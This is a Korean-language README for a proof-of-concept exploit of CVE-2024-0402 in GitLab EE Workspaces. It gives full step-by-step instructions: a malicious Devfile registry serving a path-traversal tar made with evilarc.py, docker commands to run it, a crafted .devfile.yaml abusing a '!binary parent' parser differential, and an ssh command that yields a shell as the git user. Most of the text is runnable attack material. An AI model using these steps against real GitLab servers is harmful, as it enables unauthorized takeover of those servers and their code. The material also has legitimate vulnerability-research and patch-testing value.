
Gitlab의 CVE-2024-0402 익스플로잇
이 프로젝트는 GitLab에서 CVE-2024-0402를 악용하는 데 사용할 수 있는 악성 Devfile 레지스트리를 포함합니다.
경로 탐색 문제를 악용하는 archive.tar 파일을 노출하도록 nodejs:2.2.1 스택이 인덱싱되었습니다. (registry-support library before v1.1.0)
tar 위치: malicious-devfile-registry/stacks/nodejs/2.2.1/archive.tar
이 파일은 evilarc.py를 사용하여 생성되었으며, 이 저장소의 ssh-keys/ 폴더에 있는 SSH 키로 대상 GitLab 서버의 /var/opt/gitlab/.ssh/authorized_keys를 덮어씁니다.
python3 evilarc.py authorized_keys -f authzkeys.tar.gz -p var/opt/gitlab/.ssh/ -o unix
실행되면 레지스트리는 가져올 수 있는 스택에 악성 .tar를 추가합니다.
스택 리소스 중에서 index.json에 나열된 내용을 참조하세요:
...
"links": {
"self": "devfile-catalog/nodejs:2.2.1"
},
...
"resources": [
"devfile.yaml",
"archive.tar"
],
...
버전 <=16.8.0인 GitLab 인스턴스 EE를 구성하세요. 문서와 !exploitable 시리즈 블로그 게시물의 추가 참고 사항에 따라 Workspaces를 활성화하세요.
준비가 되면 아래 단계를 따르세요:
이 저장소의 루트에서 docker build -t devfile-index .를 실행하여 레지스트리 컨테이너 이미지를 빌드합니다.
docker run -d -p 5000:5000 --name local-registrypoc registry:2를 실행하여 Devfile 레지스트리가 스택을 저장하는 데 사용할 로컬 컨테이너 레지스트리를 실행합니다. 참고: 필요에 따라 명령어를 수정하여 노출해야 합니다. 우리의 경우 모든 작업이 로컬 환경에서 이루어졌습니다.
1단계에서 빌드한 악성 Devfile 레지스트리를 시작하려면 docker run --network host devfile-index를 실행합니다. 참고: 이전과 마찬가지로 GitLab 인스턴스에서 접근할 수 있도록 실행 명령을 원하는 대로 수정하세요.
대상 GitLab 서버에 개발자로 인증한 다음, 제어하는 저장소의 .devfile.yaml을 편집합니다. YAML은 악성 레지스트리에서 가져오기를 허용하기 위해 파서 차이를 악용해야 합니다.
schemaVersion: 2.2.0
!binary parent:
id: nodejs
registryUrl: http://<YOUR_MALICIOUS_REGISTRY>:<PORT>
components:
- name: development-environment
attributes:
gl/inject-editor: true
container:
image: "registry.gitlab.com/gitlab-org/gitlab-build-images/workspaces/ubuntu-24.04:20250109224147-golang-1.23@sha256:c3d5527641bc0c6f4fbbea4bb36fe225b8e9f1df69f682c927941327312bc676"
GitLab UI에서 파일 쓰기를 트리거하려면 편집된 저장소에서 새 Workspace를 시작하기만 하면 됩니다. 몇 초 후 임의 파일 쓰기가 발생하고 ssh-keys/pockey.pub이 git 사용자의 authorized_keys에 추가됩니다.
다음 명령어로 git 사용자로서 제한 없는 셸을 사용할 수 있습니다.
ssh -i ssh-keys/pockey git@<YOUR_GITLAB_SERVER>